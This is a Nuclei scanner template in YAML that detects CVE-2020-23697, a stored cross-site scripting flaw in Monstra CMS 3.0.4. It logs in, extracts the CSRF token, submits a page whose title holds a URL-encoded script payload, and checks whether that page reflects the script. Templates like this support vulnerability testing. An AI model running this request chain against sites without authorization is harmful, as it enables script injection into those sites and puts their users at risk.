67 lines
2.3 KiB
YAML
67 lines
2.3 KiB
YAML
id: CVE-2020-23697
|
|
|
|
info:
|
|
name: Monstra CMS 3.0.4 - Cross-Site Scripting
|
|
author: ritikchaddha
|
|
severity: medium
|
|
description: |
|
|
Monstra CMS 3.0.4 contains a cross-site scripting vulnerability via the page feature in admin/index.php. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
|
|
reference:
|
|
- https://github.com/monstra-cms/monstra/issues/463
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2020-23697
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 5.4
|
|
cve-id: CVE-2020-23697
|
|
cwe-id: CWE-79
|
|
epss-score: 0.0009
|
|
cpe: cpe:2.3:a:monstra:monstra_cms:3.0.4:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 4
|
|
verified: true
|
|
vendor: monstra
|
|
product: monstra_cms
|
|
tags: cve,cve2020,xss,mostra,mostracms,cms,authenticated
|
|
variables:
|
|
string: "{{to_lower('{{randstr}}')}}"
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /admin/index.php?id=dashboard HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
login={{username}}&password={{password}}&login_submit=Log+In
|
|
- |
|
|
GET /admin/index.php?id=pages&action=add_page HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
- |
|
|
POST /admin/index.php?id=pages&action=add_page HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
csrf={{csrf}}&page_title=%22%27%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&page_name={{string}}&page_meta_title=&page_keywords=&page_description=&pages=0&templates=index&status=published&access=public&editor=test&page_tags=&add_page_and_exit=Save+and+Exit&page_date=2023-01-09+18%3A22%3A15
|
|
- |
|
|
GET /{{string}} HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
cookie-reuse: true
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- 'contains(header_4, "text/html")'
|
|
- 'status_code_4 == 200'
|
|
- 'contains(body_4, "><script>alert(document.domain)</script>") && contains(body_4, "Monstra")'
|
|
condition: and
|
|
|
|
extractors:
|
|
- type: regex
|
|
name: csrf
|
|
group: 1
|
|
regex:
|
|
- 'id="csrf" name="csrf" value="(.*)">'
|
|
internal: true
|
|
part: body
|